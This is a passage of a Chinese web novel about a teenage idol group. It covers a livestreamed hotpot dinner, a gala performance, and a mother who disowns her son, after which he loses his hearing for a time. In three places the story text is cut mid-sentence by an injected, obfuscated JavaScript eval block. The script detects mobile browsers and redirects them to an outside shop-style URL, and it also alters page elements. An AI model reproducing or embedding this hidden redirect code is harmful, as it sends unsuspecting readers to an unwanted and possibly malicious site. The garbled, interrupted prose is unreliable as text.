直播设备固定在餐桌上,在热气腾腾的烟雾中,几人先举起饮料敬了一杯陆笑蓉,弹幕里都是在夸陆笑蓉人美手巧,不知看见了什么,陆笑蓉眯起眼睛,对着直播的观众说:“‘洗手作羹汤’?拉倒吧,我可不是为了谁才学的做饭,我是怕自己饿死。” 项汝怡抬头看了她一眼,陆笑蓉努努嘴,温声细语对邱以星说:“来,多吃一点,这几天你受惊了,好好补一补。” 话题又从陆笑蓉的刀工转到邱以星遭受的网暴,有人八卦他和全小潭之间的恩怨,邱以星不愿意多说,伸筷子去捞土豆片:“都快化了,没人爱吃蔬菜是吧。” 孔栩忙拿着盘子递给邱以星:“邱以星,我爱吃,帮我多捞一点。” 陈颂打趣说:“小木鱼,让人给你帮忙,就直呼大名啊。” 孔栩茫然看向他:“那我叫什么,‘邱哥’?” 说完他连忙摇头,跟彭天喊的撞名了,他扭头看邱以星:“还是叫你‘小邱哥哥’?” 邱以星的手一抖,一颗丸子掉进锅里,几点汤汁飞溅到陈颂的衣服上,孔栩幸灾乐祸地笑:“来自小邱哥哥的报复。” “我可没有啊,”邱以星给他把盘子装得满满当当,放在他手边,又拿纸巾递给陈颂,陈颂摇头,大咧咧地说:“没事,吃完再洗,等会还得溅。” 夏桃杉默默地咬着肥牛卷,看他们吵吵闹闹的模样,眼睛流露出一丝笑意。 他们一帮青春期的孩子,正是长身体的时候,一个劲闷头吃到七八分饱,在项汝怡的再三眼神示意下,才抬头跟直播观众交流起来。 邱以星从弹幕里大致猜到舆论风向是什么,大家都带着善意调侃他,说他离开气象台是明智之举,肯定早就受不了全小潭,又说全小潭对他是因爱生恨,所以才恶意诋毁,得不到的就要毁掉……诸如此类。 他全当没看见。 几人吃得出了一身热汗,孔栩扯了扯领口扇风,看见弹幕上滑过一句:“我怎么感觉邱以星一直在看孔栩,是我的错觉吗。” 孔栩下意识扭头看邱以星,邱以星正侧过耳朵听陆笑蓉说话,哪儿在看他了。 陆笑蓉不知道说了什么,逗得邱以星不由得提了下嘴角。 她的长发被她用一根皮筋扎成一束,斜斜地搭在肩膀,显得比平时娴静温柔。 孔栩心不在焉地想,她的头发比闻旋的还长吧。 水足肉饱之际,弹幕里有人让他们表演才艺,顺带着消消食。 陈颂四周张望,忽然灵机一动,往自己手边空玻璃杯里倒了四分之三的水:“可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116370|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,那就表演这个吧。” 他拿了一根没使用过的金属筷子轻轻敲击玻璃杯边缘,玻璃杯发出一个清脆悦耳的声音。 孔栩是有绝对音感的,听到声音回过神,认出这是一个中央C。 他诧异地看向陈颂,抬起眉毛:“就一个杯子怎么玩?” 夏桃杉仿佛也看穿陈颂的意图,她起身从一边的矮柜里拿出好几个干净的玻璃杯,依次在陈颂面前排成一排。 陆笑蓉见状立即明白过来,兴致勃勃地挤到陈颂身旁:“C调啊?我来帮忙调音。” 邱以星见他们都聚在陈颂身边,默默收拾好餐桌,把锅和碗都端到厨房里洗碗去了。 回来看见他们已经把杯子里都注了不同水位的水,音阶由低到高,孔栩听了,没问题后,陈颂敲着玻璃杯,奏出一段相当和谐的旋律。 孔栩微微讶然:“不错嘛,最近很努力啊。” 陈颂悠闲地一边敲击一边随口唱道: 这是我想要的生活 虾滑牛肚鸳鸯锅 好时光没人来烦我 只要不上火 一天三顿都是火锅 他唱了几句停下来,弹幕里都是表示震惊的表情包,有人问他是不是练了很久,终于找着机会露一手了。 “即兴懂不懂,”陈颂说,“徐老师折磨我们的时候,经常给一个音就让我们自由发挥。小木鱼可以,”他朝孔栩使了个眼色,“是吧?” 徐如夜教他们不要局限于音乐教室里的乐器,手边所有能发出声音的东西都可以作为他们的乐器,孔栩用手打拍子,邱以星会意,用人声和他,陆笑蓉与夏桃珊木筷敲击木桌桌面,顿时这首简单的曲子变得更加丰富起来。 很随意的状态下很随意的歌,又是一番特别的体验。 孔栩心潮涌动着别样的思绪,接在陈颂后面唱道: 这是我想要的生活 好友都聚在一桌 好时光别轻易蹉跎 世间离散多 握紧双手不要错过 …… 他们唱完,又播了一会,项汝怡见他们表现不错,感到非常满意,甚至想把直播变成每日常规节目,又怕陈颂带头喊累,遂作罢。 网上有人把他们直播的高能片段剪了出来,邱以星因为默默收拾餐桌而单独拥有了一个很长的词条:邱以星好像家里默默付出的老父亲。 不过他们没手机,没能及时对邱以星发出嘲笑。 项汝怡第二天才把手机发给他们,孔栩看了邱以星一眼,默不作声把早停机的手机塞进兜里。 陆笑蓉迫不及待地上网看评论,手指一路往下滑,果不其然地说道:“我就说项姐怎么会把手机还给我们,看来事情已经解决了——等等,邱以星,这个全小潭发了一封道歉信,然后把自己账号注销了……这就没了?公司不告他吗?” “解释清楚就可以了,”邱以星轻描淡写地说,“他曾经也是我朋友,没必要闹到那一步。” “你可真是个滥好人,你知道名誉对于一个艺人来说有多重要吗?他当他是朋友,他当你是朋友么?”陆笑蓉不明理解,还要跟他辩解几句,随后她刷到什么,吸引了她全部的注意力,瞪大眼睛逐字念道:“光5粉丝用他们舌头的颜色作为个人应援色……这是什么怪东西?” 她语气也越来越激动:“应援色难道不用跟我商量一下吗?!这是不是也太随便了!” 55. 第 55 章 孔栩知道昨天直播结束后,邱以星单独找过项汝怡,估计讲的就是全小潭的事。 网络将人的恶意放到无限大,全小潭现在是过街老鼠,人人都能上去踩一脚。 全小潭那么爱面子的人,已经受到最为严厉的惩罚,连彭天都不屑于与他为伍,气象台到这个份上,气数也尽了,邱以星觉得自己再去追究他,全小潭就真的太惨了。 项汝怡瞥了邱以星一眼,没料到他会提出要放全小潭一马,她本来都打算告全小潭诽谤,送他进局子呆几天了。 “邱以星,他对你可是毫不留情的,你还为他着想,”项汝怡笑了一下,“我真不知道该夸你大度,还该骂你圣父了。” “那您……” “我尊重你的意见。”项汝怡说,她轻轻叹了口气,“不过你这么活着不累吗?处处考虑他人,你把你自己放在哪里?” 邱以星扯扯嘴角:“我……我不重要。” 项汝怡不知他何以得出这个结论,摆手让他出去了。 这件事摆平后,他们开始紧锣密鼓地准备省里电视台的跨年晚会表演,对于初出茅庐的新人来说,能接到这个活,简直是天方夜谭,除了靠具有强大人脉资源的项汝怡周旋之外,陈闵在其中担任着不可或缺的角色。 ——晚会最大的赞助商。 陈颂清楚自己出道肯定不会遇到什么阻力,他自小就没受过什么挫折,双亲健在,双亲的父母也都健在,还有一个特别能顶事的哥哥,可以说他生下来就是享福的,他想要什么就可以得到什么,好在他哥对他从小的教育非常严格,没让他长成飞扬跋扈的富二代。 出道当艺人算是他这些年做过的最出格的事,大家也都觉得他只是玩玩而已,包括项汝怡和他哥,甚至是徐如夜都这么认为。 越是这样,陈颂就越想证明给他们看自己不是在任性胡闹,他是真的在认真做自己喜欢的事。 晚会录制现场大牌明星云集,除了陈颂,其他四人的眼睛已经看不过来了。 经过几轮彩排,他们彻底熟悉走位和流程后,正式开始录制。 他们资历最小,第一个出来热场,现场热闹的欢呼声与尖叫声不绝于耳,孔栩甚至看见台下有不少人挥舞着组合的应援手幅。 孔栩参加过很多大型肃穆的赛事,台下会有专业的钢琴老师,也举办过不少个人独奏会,坐着满满当当的人,可大家都是安安静静地欣赏,他第一次直面如此众多的人群,第一次感受到如此热烈的回应。 他握紧话筒,没来由地感到一丝紧张,间奏的时候,他情不自禁偏头看了邱以星一眼,邱以星正巧也看过来,回了他一个鼓励的眼神,他接收到这份力量,突然间紧张的情绪如雪花落入温水中,无形地消融了。 孔栩想,邱以星在这呢。 和他一同进退的人始终站在他身侧,他还有什么好怕的。 最后他们五人手握手朝观众们鞠躬,表演完美地结束。 项汝怡领他们去后台休息室休息,天气冷,他们穿得又非常单薄,唱歌的时候没感觉,下来后感觉寒风刺骨,冻得浑身发抖。 孔栩的手被冻得通红,邱以星把外套披他身上,牵着他给他焐手。 陆笑蓉在一旁暧昧地笑着:“哟哟哟,这哥俩又腻歪上了。” 孔栩并不松开邱以星的手。反驳:“有你跟桃子腻吗?” “那可没有,我和桃子天下第一好。”陆笑蓉说完笑嘻嘻地搂住夏桃杉的腰。 陈颂咳了两声,提醒道:“你们靠边走,前面来人了。” 迎面走来的是陆笑蓉口口声声的死对头——Shamash。 这哥几个长得人高马大,衣服架子一般,气势汹汹地走来,走在走廊像是在秀场走秀,周围工作人员都暗自惊呼了一下。 走在最前头的是Shamash的队长班凌,他的面色看上去差到极点,一直在跟谁打着电话,可电话似乎没拨通,他捏紧手机,侧脸绷得死紧,一副要随机抓几个人吃掉泄愤的怒容。 孔栩听到他身后有人劝他:“你别生气,尹睢之也不是一次两次这样了,你还没习惯吗?别管他了,到点了他会来的。” 班凌咆哮:“我们还没彩排,让这么多人等他一个,他以为自己是谁?!” 紧接着班凌看见了他们。 上次在录音棚的会面并不愉快,想必Shamash压根不记得他们是哪号人物,陆笑蓉撇撇嘴,装没看见,没有停顿地继续往里走,结果班凌突然停下脚步,变脸如翻书,和颜悦色地跟他们打了个招呼。 “你们的歌唱得不错,”班凌笑着对他们说,“希望以后有机会可以合作。” 陈颂愣了一下,客套地寒暄说:“谢谢前辈。” 陆笑蓉默默翻了个白眼,谁稀罕跟你们合作。 Shamash如今的咖位是他们望之莫及的,能跟他们合作的不是当红艺人,就是德高望重的老艺术家,这是在嘲笑谁呢? 班凌身后那人露出半张笑脸,目光在他们脸上扫视一圈,最终停留在孔栩身上,别有深意地一歪头:“我看了你们的宣传视频,‘十八般乐器’样样精通?” 孔栩怔了一下,认出这人是他这段时间一直在追的电视剧的演技超差的男主角,反应过来他在跟自己说话,于是说:“不精通,只是能弹个响。” 那人笑得神秘莫测,孔栩后背起了一层鸡皮疙瘩:“是吗……哪天有机会切磋,我相信那天不会太晚来的。” 说完他们几人便走了,陆笑蓉揣着一腔腹诽,回休息室里跟他们大谈特谈最近吃到的Shamash的瓜,项汝怡无奈地看了她一眼:“这人多眼杂,屋子又没多隔音,把嘴巴闭上,你迟早要在你这张嘴上栽跟头。” “那我不说了。”陆笑蓉乖乖地闭上嘴,手指却没闲着,噼里啪啦地在他们小群里发文字。 项汝怡知道他们有个小群,没有多加干涉,人总该有个发泄渠道,不然会疯掉。 过了几秒钟,她清了清嗓子:“还有个事想跟你们说。” 再有一周就要除夕,这是他们本年度最后的工作,几人完成这项艰巨任务后都很放松,一听项汝怡这话,纷纷直起脊背,正襟危坐起来。 项汝怡推了推她没有度数的眼镜,说:“恭喜你们,接到了一档代言。” 陈颂下意识反应,是不是家里找的关系? 项汝怡仿佛猜出他所想,笑着摇头说:“是品牌方主动来找的。” 孔栩非常好奇,隐隐激动:“代言什么?” 他们出道一个月都不到,没想到竟然有品牌方找 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“你们别这个表情,这么快就有品牌方主动找上门,说明你们未来的潜力是无限的,”项汝怡拍拍陆笑蓉的肩膀,语重心长地说,“你希望的东西总会到来的,在这之前,你们要踏踏实实做好自己分内的事,让越来越多的人看见你们,记住你们。没有人能够一步登天,加油吧,同志们。” 获得新代言的事总体还是令他们感到兴奋激动,这也是人生第一次,虽然听上去并不是那么高级。 回程的路上夏桃杉接到了她父母的电话,已经是晚上十一点了,夏桃杉坐在后座温声细语地跟父母聊今天发生的事。从早上吃了什么,到晚上录制节目时舞台灯光多炫目,都是很小的微不足道的事,夏桃杉却很有耐心地讲给她爸妈听。 这是夏桃杉每天雷打不动必做的事,陆笑蓉等她挂了电话,笑眯眯地凑过来,下巴抵着夏桃杉的肩膀,懒懒地说:“桃子啊,你跟爸妈的关系可真好。” 夏桃杉“嗯”了一声,笑得有些不好意思:“他们担心我一个人在外面,我从来没出过远门。” 陆笑蓉不知道想到了什么,目光变得渺远,她轻声说:“你说,如果我们变得很红,红透半边天,那我是不是就可以算作是‘有出息’了?那样的话,即使身在天涯海角的人,也可以看见关于我们的新闻,对不对?” 陈颂毫不犹豫地说:“我们一定会变得很红,这一点毋庸置疑。” 孔栩虽不知道他哪里来的自信,却又情不自禁地想要相信他。 对“红”他没有太过具体的概念,会像徐如夜那样家喻户晓吗? 会像Shamash那样走哪儿都引起一阵尖叫吗? 那样的话,何斯清会不会在未来的某一刻承认他的决定没有错呢? 孔栩这么想着,手背被邱以星忽然轻轻碰了一下。 邱以星看向他的眼睛,眼底里有波光闪动,孔栩光是感受到邱以星在他身边就会率先安下心,心里一动,情不自禁去牵他的手指。 在黑暗的车厢里,商务车一往无前地直线行驶。 孔栩紧紧握着邱以星的手指,好像在向他求证,我做得没错,是不是? 邱以星握着他的手,揣进自己棉服的兜里,低声对他说:“放心,无论去哪里,我都会陪你一起的。” 56. 第 56 章 这年除夕,何斯清做了一个重大的决定,她打算卖掉他们共同生活十六年的房子。 孔栩回家已经一周,这期间,每天都有人来家里看房子,何斯清告诉他,她想在学校附近买个小点的,现在这个房子空荡荡的,没什么人味,住着也没什么意思。 得知这个消息后,孔栩像是被一把沉重的锤子猛地锤了一下,一股寒意从脊背游蹿到四肢,整个人萧瑟得如秋风中凋零的枯叶。 “妈,”孔栩艰难地动了动喉咙,“可是家里就两个房间,你还要换多小的?” 年夜饭桌上只有三道菜和一道汤,都是孔栩傍晚的时候鼓捣的,他回来那天去超市屯了一冰箱菜,白天何斯清不在家,晚上八九点才回来,他在公司已经吃腻了外卖,于是照着网上做菜的步骤给自己做饭吃。 他完全不会做饭,想起陆笑蓉那天说“自己动手,丰衣足食”,才后知后觉这几个字的分量。 “孔栩。”何斯清放下筷子,静静地端详他片刻。 客厅的电视开始播放地方台提早录制的春节晚会,穿着喜庆的主持人来了一段很长的欢迎问候,祝大家春节快乐,新的一年福气满满,鼓掌声不绝于耳,镜头展现的都是一张张幸福的笑脸。 紧随其后是他们组合的表演,舞台做了烟雾效果,如梦似幻。 他们五个人穿着项汝怡给他们准备的合身礼服,脸庞青涩却认真,黑漆漆的观看区有无数人挥舞着荧光棒,轮到孔栩唱,他沉醉地闭着眼,动听的歌声经由电视机传到餐桌前两人的耳中。 何斯清对这一切置若罔闻,她的声音没有丝毫起伏,平静地说着:“我说了,以后我们分开过。你可以去找孔嘉年,他应该挺喜欢你的,易姝心对你也不错,你可以跟他们住一起,孔馨,你也见过,挺可爱乖巧的小女孩,她也希望有一个哥哥。” 孔栩猛地站起身:“我不要!” 何斯清淡淡地看着他,好像很满意他此刻的惊惧:“我之前问过你的。” “可你说等到我成年,”孔栩的眼睛发红,闪动着湿润的光泽,仍然难以置信,“妈,你什么意思,你真不要我了?就因为我不继续弹钢琴了?” 何斯清跟他摊牌了,缓缓地说:“我忽然觉得……自己做的这一切都没有丝毫意义。” 孔栩微微张大眼睛:“什么意义?我不弹琴了,对你来说就没有意义了?” “差不多吧,人在痛苦的时候总爱寻找一个寄托,不是吗?”何斯清眨了一下眼,“得知孔嘉年出轨的那刻开始,我就计划好要报复他。我父母死得早,我一个人扛起我和我妹妹的生活、学业。那时候我是多么渴望一个家呀,我不用再那么辛苦一边上学一边打零工,一分钱掰成八瓣花,我好希望有个人可以陪着我,为我遮风挡雨,告诉我‘你太累了,歇歇吧’。” 孔栩定定地看着何斯清,他们的节目已经表演结束,可孔栩的耳朵仿佛装了过滤器,只能听见何斯清的声音。 “然后我就遇到了孔嘉年。这么多年过去了,他跟年轻那会儿变化不大,还是挺帅的对不对?大四那年,我进了一所学校实习,孔嘉年是音乐学院的,也被分配到那所学校,我教数学,他教音乐,在一个办公室里面,一来二去的我们熟悉了彼此。他开始追我,我想也没想就同意了,还觉得他长得那么帅,讲话风趣又幽默,看上我真是我修来的福气。” 说到这何斯清笑了一下,像是在讲别人的故事。 “后来就是顺理成章地订婚,结婚,然后有了你。”何斯清说,“我有时候觉得,那是我人生里最幸福的时光,我们一起装修我们的小家,也就是现在这间屋子,面积不大,但胜在温馨,想好各个角落的布置,墙上的挂画,阳台上用种植什么花草,以后还能养只小动物。我觉得老天待我真不薄啊,我苦尽甘来了,我没爸妈可我的丈夫是那么爱我,他尊重我呵护我,直到我发现他一直偷偷跟另外一个女人保持着不清不楚的关系。 “易姝心是他初恋,因为大学异地,导致感情出了问题,他一气之下来追我,哪知道我傻乎乎地这么好上钩,他一边玩弄我的感情,一边哄着易姝心,让她回心转意。这真的,”何斯清顿了顿,“对我来说,太耻辱了。我的人生从没犯过如此严重的错误,我找的男人竟然跟其他男人没有半分不同,一样的垃圾,一样的不堪和无耻。” “我知道这件事的时候已经有了你了,三四个月大,我想过要不要打掉,他跪下来哭着求我,对我说孩子是无辜的,让我把你生下来——”何斯清完全沉浸在对往事的回忆中,感慨道,“所以你能出生,也多亏了孔嘉年啊。” 在他短暂的十六年人生中,何斯清从没像这天一样跟他深入地聊她的婚姻,他有时会很羡慕跟父母关系融洽的夏桃杉,总有说不完的话,可他现在死死地捂住耳朵,不想继续听下去,可何斯清并没有停下来的打算。 “后来我们达成协议,我们离婚,你生下来归我抚养,房子也归我。你小时候很磨人,娇气爱哭,但一听音乐就会停止哭泣,我有时候觉得好悲哀,难道是孔嘉年的基因在起作用吗?你一点儿也不像我,像他更多一点。凭什么,我千辛万苦生下来的孩子却更像他?” 孔栩蹲在地上,泪流满面,喉咙里发出压抑的啜泣,他不想听,何斯清的语速却越来越快,好像故意让他感到痛苦:“我怎么可能会让他好过?他以为自己就此能过上幸福快乐的小日子了?他亲手摧毁了我的幸福,我不会让他如愿以偿的,所以我让你学钢琴。” “他从小学钢琴,不过水平一般,你比他出色太多,超过他是轻而易举的事,”何斯清嘴角泛出一个冰冷的笑容,“你需要更专业的老师来教你,而谁能来教你呢?当然是他心肠柔软的新婚妻子——易姝心了。” “孔栩,你一度是我这辈子最大的骄傲,我将所有的期待倾注在你身上,希望你能超越易姝心,让孔嘉年知道他失去的是多宝贵的东西。”何斯清毫不掩饰地说,“我希望你是一根尖锐的刺,狠狠扎进易姝心的心里,让她感到痛苦,时刻提醒着她,她破坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128394|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的原本该是多幸福美满的家庭。” “我不是!我不是我不是!”孔栩声嘶力竭地朝她吼,声带传来剧烈的刺痛,可他浑不在意,“我不是刺,不是你漂亮的衣服,最新款的包和名牌首饰!我不是你向他人炫耀人生成功圆满的证明!” 何斯清长长地叹息一声:“你说的没错,是我做错了。” “妈,”孔栩一把鼻涕一把眼泪,沙哑地哀求,“妈妈,我们过自己的生活不好吗?不要管他们了,好不好?妈妈,你打我吧,你别这么看我好不好?” 何斯清将一张银行卡推到孔栩面前,她说:“这是你经纪人给你打劳务费的卡,密码你知道,这卡放你那里,你经纪人说有她一口吃的,绝对饿不死你,我想你生活应该是有保障的。孔栩,你总嫌我管你太多,从现在开始,你自由了。” 孔栩:“妈妈……” 何斯清接下来的话令孔栩感到崩溃:“孔栩,如果当初我没有听孔嘉年的话将你生下来,你或许会有一个别的善解人意的妈妈了,可事已至此,我们只能接受事实。我把你养到这么大,就算没有功劳,也有一些苦劳,你不必那么恨我。” “我不恨……我不恨你。” “我也想过要重新开始自己的人生,我被困住太久太久了,久到忘记其实我有选择,就像你选择不弹钢琴,去当艺人。”何斯清看着他,“可我看见你,就会想起我失败的人生,你要我怎么做呢孔栩,我只能选择不看见你。” 孔栩哭到呛咳,一个字也说不出口。 多年前,他和何斯清发生争执后,曾彻夜畅想以后要搬出何斯清的家,自己一个人逍遥自在地生活,那将是何等的大快人心。 可现在这一刻到来了,他却感到难以名状的深入骨髓的恐惧。 何斯清难道一点也不爱他吗?真的会有母亲会对自己的孩子没有一丝一毫的感情吗? 到底是哪里出了差错? 他是不是就不应该出生? 孔栩头痛欲裂,眼睛红肿,他做的饭菜何斯清一口没动,她放下筷子,起身去客厅把闹哄哄的电视机关掉,继而回到自己的卧室。 她站在卧室门口,静静地站了片刻,就在孔栩以为她是不是回心转意了之后,她扭头对孔栩说:“还有你房间里的钢琴,既然你不继续练琴了,我会找人搬走卖掉。” 那琴陪伴他度过无数寒冬酷暑,是他最为忠诚的伙伴,何斯清却说,要把它卖掉。 轰隆—— 窗外是震耳欲聋的烟花炸响的声音,他听到绚烂的烟花接二连三嗖的升到最高空,砰然炸开,无数耀眼的火星朝四周迸射、散落。 “十、九、八、七——三、二、一!” 人群在热烈欢呼倒计时,庆祝新一年的到来。 孔栩站在原地一动不动,好像过了一个世纪那么久,久到他的眼泪干透,似乎要变成一座沉寂万年不语的雕塑。 僵硬的眼珠轻微地颤动,他心如死灰地点点头,对着空气说了一句:“好。” 57. 第 57 章 大年三十的凌晨,孔栩把凉透的晚餐收拾好,洗过碗,然后回房间收拾屋子。 黑色的立式钢琴靠着窗户,庄严而美丽,孔栩轻轻抚摸了一下琴键,随即盖上琴盖,毫不留恋地挪开视线。 他把必备的生活用品装进包里,又往行李箱里塞了几件冬装。 床底下的箱子东西太多,他费劲地拖出来,翻找一番,发现并没有什么非要带走的。 泛黄的竹笛静静地躺在纸箱里,这是孔栩四岁那年,何斯清带他出门玩,在某个景区给他买来玩的,后来笛膜老化,吹不响,他就把竹笛收了起来。 何斯清很少送他与钢琴和学习无关的东西,孔栩把竹笛一并塞进鼓鼓囊囊的书包,拖着行李箱,离开了家门。 房间里有他珍藏的乐谱,翻看许多遍也不厌倦的书籍,小学初中的课本和笔记。 都带不走了。 他也都不要了。 何斯清让他联系孔嘉年,以后去他那里住,但孔栩没有找孔嘉年,他没有找任何人,而是独自一人打车去了公司宿舍。 风太冷了,空气里弥漫着鞭炮与烟花燃放之后的硝烟味。 大年三十,不,已经是大年初一的凌晨,家家户户都在团圆,他在风口里站了差不多有两个小时,晨光熹微之际才有车过来载他。 司机师傅觉得乘客有些奇怪,他落座报了地址后,就把自己紧紧地团成一个球,动也不动。 想询问几句,这大过年的,师傅又怕惹上什么麻烦,一路上安静得仿佛不存在。 孔栩拖着行李进入了产业园区,四周没有一个人,连平时总打瞌睡的看门老大爷也不在。 公司大门紧闭,好在孔栩有把钥匙,他打开门,径直去二楼宿舍放下行李,发现灯不亮,又来楼下把电源总开关打开,回去洗了个热水澡。 他浑浑噩噩的,控制着大脑不要去思考任何事,头发随便擦了擦,就往邱以星的床上一躺。 邱以星的被子有邱以星身上清新好闻的气味,孔栩抱紧被子,像是抱紧了邱以星。 他这一觉睡了十二个小时,醒来时,天昏地暗,四周安静地出奇,他一时间无法分辨自己在什么地方。 屋子里漆黑一片,他困意全无,过了一会儿,暂时遗忘的记忆像是电影一样在脑中缓慢播放。 冷掉的食物,何斯清面无表情的面孔,她说的每一句话,每个字他都想起来了。 孔栩使劲敲着头,好疼,钻心地疼,他恨不能把脑子剖开,把令他感到疼痛的东西取出来。 又过了片刻,孔栩猛地睁大了眼睛,从床上坐起身。 他打开墙壁上的灯光开关,暖黄色的光铺满了房间。 孔栩又突然将开关关掉,屋里又重新被黑暗包裹。 他反反复复神经质地关灯开灯,一遍又一遍,随后他不信邪似的打开手机的音乐播放器,将音量放到最大,茫然地看着进度条从开头到中间,再到结束,跳到下一首,下下一首。 孔栩惊恐地将手机砸向墙壁,手机无声无息地落在地板上。 整个世界安静极了,所有的声音仿佛被谁关进了密不透风的黑匣子。 他光着脚踉踉跄跄冲向隔壁的音乐教室,掀开钢琴琴盖,使劲按着琴键,指尖疼得如同针扎,又抓起鼓槌敲架子鼓,直到把鼓皮敲裂。 孔栩扔掉鼓槌,对着空气大声狂叫,都是无意义的字眼,他感觉自己的身体变成空心的机器,只有巨大的不正常的轰鸣在持续震动。 叫到他最后一点力气也没有了,孔栩才惶惶然地瘫倒在地,他握紧拳头,盯着地面出神。 他想,声音呢?我怎么听不到声音了? 孔栩不敢细想,抱着自己蜷缩在音乐教室的角落,静静地等待时间的流逝。 他满心恐惧地想,或许过一会就好了,只是个噩梦,我会醒过来的。 他的眼睛一错不错地盯着眼前的那扇门,下巴垫在胳膊上,他不敢闭眼,不敢动,找到另自己安心的姿势就仿佛石化一般,除了会呼吸,看不出他还是个活物。 时间久到好似停止流动,那扇紧闭的大门突然被推开了,孔栩瞪大眼睛,心跳加速,整个人发着抖,扑了过去。 “邱以星,”孔栩嘶哑的声音撕心裂肺地喊,“邱以星!” 邱以星连忙伸手接住他,孔栩的身体轻飘飘的,短短几天不见却瘦了很多,他的手掌按在他后背凸起的脊椎,不停地抚摸他的后背,安抚他说:“发生什么事了,慌成这样?项姐说楼下巡逻的看见公司的灯亮着,屋子里一直发出吵吵闹闹的声音,以为闹鬼,给她打电话,她看监控才知道你来了,给你打电话怎么一直打不通啊?” 孔栩什么都听不见,他像是溺水的人抓住最后一根稻草那样抓住邱以星,他听不到,只能靠眼睛看,靠手触碰,他死死地抱紧邱以星,大口大口地喘息,话密密匝匝地排在舌尖,他搞不清楚到底要说哪一句,意识混乱地大声说:“邱以星,邱以星,是你对吧,你来了,我做了个好可怕的梦……” 他听不见,只能感受到闷闷的震动,这时才感觉到嗓子很痛,他揉了揉喉咙,又抬手使劲砸向自己的头。 邱以星一把握住他的手,他的掌心温暖,神情焦急,嘴巴一张一合地说着什么,孔栩极为努力地辨认,很快眼前朦胧一片,眼泪流到了下巴:“我听不见了……邱以星,我成聋子了,你在说什么,我听不见……” 邱以星一顿,手掌抹掉孔栩的眼泪,把他按到琴凳上坐下,拿出手机飞快在备忘录里打字,孔栩不让他离开,手一直抓着他的衣角。 邱以星打好字,放孔栩面前给他看:没事,去医院看看就好了,你外套呢,把衣服套上,我们马上走。 孔栩仰头望着邱以星:“在床上。” 邱以星转身去拿外套,谁知孔栩猛地尖叫一声,再一次死死搂住邱以星的腰,大声喊着:“你别走。” 邱以星便紧紧握着他的手,一起回宿舍拿外套。 宿舍的灯还亮着,地面上有孔栩摔碎屏幕的手机,他也一并拾起,按亮后发现还能用,就把手机揣孔栩外套兜里,展开外套,让孔栩套上。 孔栩整个人如同惊弓之鸟,再不能受到丝毫刺激,邱以星把他长外套的拉链拉到顶,只剩下小半张脸,眼睛又红又肿,发丝凌乱,邱以星心乱如麻,将外套帽子给他套得严严实实,这期间孔栩动也不动,眼睛圆溜溜地随着邱以星的动作而转动。 邱以星带孔栩到医院挂急诊,全程孔栩的视线都没有离开过邱以星,医生经过一番细致的检查,对邱以星说:“器官没什么问题,都是正常的,我建议你们去做个心理评估。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133605|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……您认为他这个情况是心理问题导致的?” “患者可能之前受过刺激,”医生说,“如果遭受巨大的打击和刺激,会出现暂时性失聪,后期会慢慢恢复的。” 邱以星看了孔栩一眼,他一脸茫然,不知道他们在说些什么,眼睛睁得大大的,好像怕邱以星突然消失不见。 “或者你们先回家先观察观察,”医生说,“一般二十四小时之内情况会缓解,让患者不要太焦虑,先好好睡一觉。” “好的,谢谢您。”邱以星牵着孔栩站起身,孔栩很乖地起来,紧贴邱以星的手臂,离开诊室。 邱以星给孔栩打字:医生说你耳朵没有问题,你不要担心,他说你情绪波动太大导致的,回去休息一下就会听见了。 孔栩点点头,在外面他不想说话,把邱以星的手揣进自己的兜里,一路默默地走。 他也察觉到了,医生给他做检查的时候,他好像听见了一些不太真切的动静,离开医院后,那种生活在真空里的窒息感也稍微放松了些许。 医生给他开了一些润喉的药,他说话没有问题,只是扁桃体充血,他一开口就会疼。 回程路上他给邱以星打字,问他:邱以星,如果我真的听不见了怎么办? 邱以星平静地回复他:那我们可以多学一门语言了。 孔栩:手语吗? 邱以星点点头:没错,想想还挺酷的。 孔栩仍然是沉闷的样子:一点也不酷,听不到声音好可怕。 邱以星揉了揉他的脑袋:说了你没事,现在点不到外卖了,回去我给你煮点东西吃好不好? 孔栩的注意力被他的话吸引走了:你也会煮饭? 邱以星:我一直都会,我很小就自己煮饭吃,你想吃什么?清淡一点的吧。 孔栩:你都决定好了,还要问我。 邱以星笑笑:就是问问,不一定照做。 孔栩胳膊肘捅了一下邱以星。 邱以星来之后,他感觉好了很多,空旷无声的世界不再冷冰冰的,而是有了温度。 为什么每次他痛苦狼狈的时候,邱以星都会出现在他面前呢? 孔栩一直跟着邱以星,邱以星在厨房忙活,他就在距离他一米的地方呆着。 